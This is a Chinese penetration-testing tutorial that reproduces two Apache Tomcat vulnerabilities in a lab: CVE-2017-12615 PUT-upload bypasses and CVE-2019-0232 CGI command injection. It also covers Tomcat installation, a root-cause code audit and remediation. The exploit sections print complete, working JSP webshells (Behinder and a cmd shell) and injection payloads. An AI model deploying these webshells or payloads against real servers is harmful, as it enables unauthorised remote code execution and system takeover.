系列文章
简介
渗透测试-地基篇
该篇章目的是重新牢固地基,加强每日训练操作的笔记,在记录地基笔记中会有很多跳跃性思维的操作和方式方法,望大家能共同加油学到东西。
请注意:
本文仅用于技术讨论与研究,对于所有笔记中复现的这些终端或者服务器,都是自行搭建的环境进行渗透的。我将使用Kali Linux作为此次学习的攻击者机器。这里使用的技术仅用于学习教育目的,如果列出的技术用于其他任何目标,本站及作者概不负责。
名言:
你对这行的兴趣,决定你在这行的成就!
一、前言
中间件是介于应用系统和系统软件之间的一类软件,它使用系统软件所提供的基础服务(功能),衔接网络上应用系统的各个部分或不同的应用,能够达到资源共享、功能共享的目的。
可想而知中间件连接着网络和系统接触着越来越多的关键数据,渐渐成为单位公共安全中最具有战略性的资产,中间件的安全稳定运行也直接决定着业务系统能否正常使用。并且平台的中间件中往往连接数据库,而数据库储存着等极其重要和敏感的信息。如果中间件被攻破,这些信息一旦被篡改或者泄露,轻则造成企业经济损失,重则影响企业形象,甚至行业、社会安全。可见,数据库安全至关重要。所以对数据库的保护是一项必须的,关键的,重要的工作任务。
通过前几期钓鱼、内网攻防篇章落幕后,引来了服务攻防篇章之数据库渗透篇,不管在外网还是内网环境,只要存在业务系统都存在数据库,在渗透测试对数据库的知识学习是必不可少的,接下来将介绍数据库的渗透基本操作,带小伙伴们了解和学习数据库如何渗透的!
今天会讲解到学习Tomcat的优缺点、作用和优势对比,Tomcat简介、Tomat安装、Tomcat漏洞本质、Tomcat 任意文件写入(CVE-2017-12615)、Tomcat 远程代码执行(CVE-2019-0232)等等,最后远程代码执行控制服务器等操作,如果连Tomcat都不会安装操作提权等,怎么进行下一步的研究Tomcat安全!怎么拿下对方服务器?
二、Tomcat简介
Tomcat服务器是一个免费的开放源代码的Web应用服务器,属于轻量级应用服务器,在中小型系统和并发访问用户不是很多的场合下被普遍使用,是开发和调试JSP程序的首选。对于一个初学者来说,可以这样认为,当在一台机器上配置好Apache服务器,可利用它响应HTML(标准通用标记语言下的一个应用)页面的访问请求。实际上Tomcat是Apache服务器的扩展,但运行时它是独立运行的,所以当运行tomcat时,它实际上作为一个与Apache独立的进程单独运行的。
目前版本型号7~10版本!
默认端口:8080
三、Tomat安装
1、安装下载
下载地址:
https://tomcat.apache.org/download-80.cgi
所有版本下载:
https://archive.apache.org/dist/tomcat/tomcat-8/
1)Tomcat8官网下载连接,在打开页面中选择Core当中的第一项zip(pgp,sha512)这是免安装通用格式的,下载后在自己保存的软件目录下解压即可:
注意: Tomcat的版本对与JAVA版本以及相应的JSP和Servlet都是有要求的, Tomcat8版本以上的是需要Java7及以后的版本, 所以需要对应JDK的版本来下载Tomcat的版本
2)安装JDK8
2、Tomcat的目录结构
1. bin目录: 存放一些二进制的文件,例如Tomcat常用的 启动脚本: startup.bat或startup.sh 关闭脚本: shutdown.bat 或 shutdown.sh等等
2. conf目录: 存放的是Tomcat的配置文件,例如最常用的 server.xml如果需要修改Tomcat的端口(默认端口是8080, 可以改成自己喜欢的如9090,8888,9999,9070等)就在这里修改
3. lib目录: 存放的是全局的jar包
4. logs目录: 存放的是Tomcat的日志,如果Tomcat出错什么的,就需要在这里的日志中查找问题
5. temp目录: 存放的是临时性的文件
6. webapps目录: 存放的是Java的Web项目,要部署的项目就需要放在这个目录当中
7. work目录: 存放的是由JSP代码翻译的Java代码,以及编译的.class文件
3、exe版本安装
1)打开官网下载
下载完成后开始安装!
2)安装exe
3)点开Tomcat,选中Service,以后将可以在管理的服务中启动和关闭Tomcat(也可以默认,不改变配置)
点击next
4)出现管理提示框,要求输入端口和管理密码,保持默认设置就行。默认的端口号就是8080,这里一般不用设置。
5)点击Next后会出现下图,它会自动找到JRE位置,如果用户没有安装JRE,可以修改指向JDK目录(很多用户安装后无法编译JSP,就是这里没找到JRE,请务必先要安装JDK,并把这个目录正确指向JRE或者JDK的目录)
6)点击next,之后会出现Tomcat安装路径选择,一般默认安装到C盘,可以直接把C改成D,没有的文件夹会自动创建。修改完毕后点击Install
7)安装完毕,点击finish。
8)打开浏览器 键入 http://localhost:8080 进入如下页面则表示安装成功:
安装完目录:
C:\Program Files\Apache Software Foundation\Tomcat 8.5
打开bin目录:
其中startup.bat和Tomcat9.exe都可以启动Tomcat服务
4、zip版安装(免安装版本)
zip版是免安装版本,开始详解!
1)直接解压缩,找到目录bin下的startup.bat,启动Tomcat;shutdown.bat:关闭Tomcat。
2)Tomcat配置
配置Tomcat之前要保证jdk已经配置完成。
3)右击,计算机——属性——高级系统设置——打开环境变量的配置窗口,在系统环境变量一栏点击新建。变量名为TOMCAT_HOME,变量值为Tomcat安装目录,此处为:C:\Users\dayu\Desktop\apache-tomcat-8.5.65;
4)继续新建
同样,在系统变量里点新建:
变量名:CATALINA_BASE
变量值:C:\Users\dayu\Desktop\apache-tomcat-8.5.65;
再次新建:
变量名:CATALINA_HOME
变量值:C:\Users\dayu\Desktop\apache-tomcat-8.5.65;
5)点击确定后在classpath中加入%CATALINA_HOME%\common\lib\servlet-api.jar;(注意加的时候在原变量值后加英文状态下的“;”)
建议安装EXE版本!!!
四、Tomcat渗透
1、Tomcat漏洞本质
里面一些重要的文件,需要了解其作用:
1. server.xml:配置tomcat启动的端口号、host主机、Context等
2. web.xml文件:部署描述文件,这个web.xml中描述了一些默认的servlet,部署每个webapp时,都会调用这个文件,配置该web应用的默认servlet
3. tomcat-users.xml:tomcat的用户密码与权限。
2、Tomcat 任意文件写入(CVE-2017-12615)
**影响范围:**Apache Tomcat 7.0.0 - 7.0.81(默认配置)
**复现环境:**Tomcat/8.5.19
sudo docker ps
sudo docker exec -ti 2 bash
cat conf/web.xml |grep readonly
漏洞原理:
漏洞的产生是由于配置不当(非默认配置),将配置文件(
conf/web.xml)中的readonly设置为了false,导致可以使用PUT方法上传任意文件,但限制了jsp后缀,不过对于不同平台有多种绕过方法
1)vulhub复现
成功上传txt!
2)本地环境复现
<init-param>
<param-name>readonly</param-name>
<param-value>false</param-value>
</init-param>
写入!
可以看到成功上传txt文件!
尝试上传jsp文件:
但是直接上传jsp文件是不被允许的!!
3)绕过上传jsp
对于这种情况可以有多种方式绕过:
1. Windows下不允许文件以空格结尾
以PUT /dayu.jsp%20 HTTP/1.1
上传到windows会被自动去掉末尾空格
2. WindowsNTFS流
PUT /dayu1.jsp::$DATA HTTP/1.1
3. /在文件名中是非法的,也会被去除(Linux/Windows)
PUT /dayu2.jsp/ HTTP/1.1
<%out.println("Hello");%>
可看到三种方法都在vulhub上绕过了!
4)上传jsp一句话
下载打开冰蝎jsp:
<%@page import="java.util.*,javax.crypto.*,javax.crypto.spec.*"%><%!class U extends ClassLoader{U(ClassLoader c){super(c);}public Class g(byte []b){return super.defineClass(b,0,b.length);}}%><%if (request.getMethod().equals("POST")){String k="e45e329feb5d925b";session.putValue("u",k);Cipher c=Cipher.getInstance("AES");c.init(2,new SecretKeySpec(k.getBytes(),"AES"));new U(this.getClass().getClassLoader()).g(c.doFinal(new sun.misc.BASE64Decoder().decodeBuffer(request.getReader().readLine()))).newInstance().equals(pageContext);}%>
/*该密钥为连接密码32位md5值的前16位,默认连接密码rebeyond*/
上冰蝎成功:
成功控制获得对方系统权限!
或者CMD一句话:
<%@ page import="java.util.*,java.io.*"%>
<%
if (request.getParameter("cmd") != null) {
out.println("Command: " + request.getParameter("cmd") + "<BR>");
Process p = Runtime.getRuntime().exec(request.getParameter("cmd"));
OutputStream os = p.getOutputStream();
InputStream in = p.getInputStream();
DataInputStream dis = new DataInputStream(in);
String disr = dis.readLine();
while ( disr != null ) {
out.println(disr);
disr = dis.readLine();
}
}
%>
http://192.168.253.7:8080/7.jsp?cmd=id
成功执行!
5)Kali安装tomcat复现
目前本地无法上传jsp,应该是绕过windows限制问题,我转换到kali上进行操作:
proxychains wget https://mirror.nodesdirect.com/apache/tomcat/tomcat-8/v8.5.65/bin/apache-tomcat-8.5.65.tar.gz
解压文件:
tar zxvf apache-tomcat-8.5.65.tar.gz.1
mv apache-tomcat-8.5.65 tomcat
编辑配置文件 etc/profile
cd /etc
vi profile
export CATALINA_HOME=/root/Desktop/tomcat
重启环境变量:
source /etc/profile
启动Tomcat服务
./startup.sh
关闭Tomcat服务
./shutdown.sh
执行即可!
安装成功!
开始复现:
首先将vulhub文件拷出检查:
sudo docker ps
sudo docker cp 282510c8bb43:/usr/local/tomcat/conf/web.xml /home/dayu/Desktop/
<init-param><param-name>readonly</param-name><param-value>false</param-value></init-param>
修改完后谨记,重新启动重新启动!!
通过空格方式绕过了:
PUT /dayu.jsp%20 HTTP/1.1
可看到本地显示情况!
继续尝试NTFS流也是可以的:
PUT /dayu2.jsp::$DATA HTTP/1.1
继续查看/反斜杠是否可以:
PUT /dayu3.jsp/ HTTP/1.1
可看到无法绕过!这是个遗留问题,但是思路很好,后期高级篇会提出底层逻辑解决该问题。
6)修复建议
将readonly=true,默认为true
3、Tomcat 远程代码执行(CVE-2019-0232)
1)漏洞简介
影响范围:
Apache Tomcat 9.0.0.M1 to 9.0.17
Apache Tomcat 8.5.0 to 8.5.39
Apache Tomcat 7.0.0 to 7.0.93
影响系统: Windows
复现环境:9.0.17
Tomcat的CGI_Servlet组件默认是关闭的,在 conf/web.xml 中找到注释的CGIServlet部分,去掉注释,并配置enableCmdLineArguments和executable,开始操作!
2)漏洞底层环境复现详解
首先进行CGI相关的配置,在 conf/web.xml 中启用CGIServlet:
<servlet>
<servlet-name>cgi</servlet-name>
<servlet-class>org.apache.catalina.servlets.CGIServlet</servlet-class>
<init-param>
<param-name>cgiPathPrefix</param-name>
<param-value>WEB-INF/cgi-bin</param-value>
</init-param>
<init-param>
<param-name>enableCmdLineArguments</param-name>
<param-value>true</param-value>
</init-param>
<init-param>
<param-name>executable</param-name>
<param-value></param-value>
</init-param>
<load-on-startup>5</load-on-startup>
</servlet>
这里主要的设置是 enableCmdLineArguments 和 executable 两个选项!
1. enableCmdLineArguments 启用后才会将Url中的参数传递到命令行
2. executable 指定了执行的二进制文件,默认是 perl,需要置为空才会执行文件本身。
同样在 conf/web.xml 中启用cgi的servlet-mapping:
最后修改 conf/context.xml 的 添加 privileged="true"属性,否则会没有权限:
<Context privileged="true">
配置目录文件:
然后在C:\tomcat9\webapps\ROOT\WEB-INF
下创建 cgi-bin目录,并在该目录下创建一个dayu.bat的文件填写任意内容即可!!
http://127.0.0.1:8080/cgi-bin/dayu1.bat?&dir
可看到成功任意代码执行!
3)漏洞原理-java代码审计
漏洞相关的代码在tomcat\java\org\apache\catalina\servlets\CGIServlet.java
中,CGIServlet提供了一个cgi的调用接口,在启用enableCmdLineArguments
参数时,会根据RFC 3875来从Url参数中生成命令行参数,并把参数传递至Java的 Runtime 执行。 这个漏洞是因为Runtime.getRuntime().exec
在Windows中和Linux中底层实现不同导致的。
下面以一个简单的case来说明这个问题,在Windows下创建dayu.bat:
rem dayu.bat
echo %*
并执行如下的Java代码:
String [] cmd={"dayu.bat", "dayu", "&", "dir"};
Runtime.getRuntime().exec(cmd);
在Windows下会输出 arg 和 dir 命令运行后的结果。同样的,用类似的脚本在Linux环境下测试:
# dayu.sh
for key in "$@"
do
echo '$@' $key
done
String [] cmd={"dayu.sh", "dayu", "&", "dir"};
Runtime.getRuntime().exec(cmd);
此时的输出为:
$@ dayu
$@ &
$@ dir
导致这种输出的原因是在JDK的实现中Runtime.getRuntime().exec
实际调用了ProcessBuilder
,而后ProcessBuilder
调用ProcessImpl
使用系统调用 vfork ,把所有参数直接传递至 execve。
用strace -F -e vfork,execve java Main
跟踪可以看到上面的Java代码在Linux中调用为:
execve("dayu.sh", ["dayu.sh", "dayu", "&", "dir"], [/* 23 vars */])
而如果跟踪类似的PHP代码system('a.sh dayu & dir');
,得到的结果为:
execve("/bin/sh", ["sh", "-c", "a.sh dayu & dir"], [/* 23 vars */])
所以Java的Runtime.getRuntime().exec
在CGI调用这种情况下很难有命令注入。而Windows中创建进程使用的是CreateProcess
,会将参数合并成字符串,作为lpComandLine
传入CreateProcess
。程序启动后调用GetCommandLine
获取参数,并调用CommandLineToArgvW
传至 argv。在Windows中,当CreateProcess
中的参数为 bat 文件或是 cmd 文件时,会调用 cmd.exe , 故最后会变成cmd.exe /c "dayu.bat & dir"
,而Java的调用过程并没有做任何的转义,所以在Windows下会存在漏洞。
除此之外,Windows在处理参数方面还有一个特性,如果这里只加上简单的转义还是可能被绕过, 例如dir "\"&whoami"
在Linux中是安全的,而在Windows会执行命令。
这是因为Windows在处理命令行参数时,会将 " 中的内容拷贝为下一个参数,直到命令行结束或者遇到下一个 " ,但是对 " 的处理有误。同样用dayu.bat
做测试,可以发现这里只输出了 \ 。因此在Java中调用批处理或者cmd文件时,需要做合适的参数检查才能避免漏洞出现。
修复方式:
开发者在 patch 中增加了cmdLineArgumentsDecoded
参数,这个参数用来校验传入的命令行参数,如果传入的命令行参数不符合规定的模式,则不执行。
校验写在setupFromRequest
函数中:
String decodedArgument = URLDecoder.decode(encodedArgument, parameterEncoding);
if (cmdLineArgumentsDecodedPattern != null &&
!cmdLineArgumentsDecodedPattern.matcher(decodedArgument).matches()) {
if (log.isDebugEnabled()) {
log.debug(sm.getString("cgiServlet.invalidArgumentDecoded",
decodedArgument, cmdLineArgumentsDecodedPattern.toString()));
}
return false;
}
不通过时,会将CGIEnvironment
的 valid 参数设为 false ,在之后的处理函数中会直接跳过执行。
if (cgiEnv.isValid()) {
CGIRunner cgi = new CGIRunner(cgiEnv.getCommand(),
cgiEnv.getEnvironment(),
cgiEnv.getWorkingDirectory(),
cgiEnv.getParameters());
if ("POST".equals(req.getMethod())) {
cgi.setInput(req.getInputStream());
}
cgi.setResponse(res);
cgi.run();
} else {
res.sendError(404);
}
这里没有附上图片,只是告诉一个思路和技巧,高级篇会铺垫该方式方法!
修复建议:
1. 使用更新版本的Apache Tomcat。这里需要注意的是,虽然在9.0.18就修复了这个漏洞,但这个更新是并没有通过候选版本的投票,所以虽然9.0.18没有在被影响的列表中,用户仍需要下载9.0.19的版本来获得没有该漏洞的版本。
2. 关闭enableCmdLineArguments参数
五、总结
今天学到了Tomcat的优缺点、作用和优势对比,Tomcat简介、Tomat安装、Tomcat漏洞本质、Tomcat 任意文件写入(CVE-2017-12615)、Tomcat 远程代码执行(CVE-2019-0232)漏洞等,最后远程代码执行控制服务器等操作,以及整改加固建议的方式方法,学到了非常多的小技巧和干货,希望小伙伴能实际操作复现一遍!
服务攻防之数据库Mysql(上)-> 服务攻防之数据库Mysql(下)-> 服务攻防之数据库MSSQL(上)-> 服务攻防之数据库MSSQL(中)-> 服务攻防之数据库MSSQL(下)-> 服务攻防之数据库Oracle(上)-> 服务攻防之数据库Oracle(下)-> 服务攻防之数据库Redis(上)-> 服务攻防之数据库Redis(下)-> 服务攻防之数据库Mongodb(上)-> 服务攻防之数据库Mongodb(下)-> 服务攻防之中间件IIS(上)-> 服务攻防之中间件IIS(下)-> 服务攻防之中间件Apache(总)-> 服务攻防之中间件Nginx(总)-> 服务攻防之中间件Tomcat(上)......
接下来在《服务攻防之中间件Tomcat(下)》会接触到如何进行Tomcat弱口令 & 后台getshell漏洞、Tomcat manager App 暴力破解、Tomcat AJP文件包含漏洞分析(CVE-2020-1938)等渗透操作,如何提权渗透等方法,请看下篇服务攻防之中间件Tomcat篇下章!
希望大家提高安全意识,没有网络安全就没有国家安全!
今天基础牢固就到这里,虽然基础,但是必须牢记于心。
作者:大余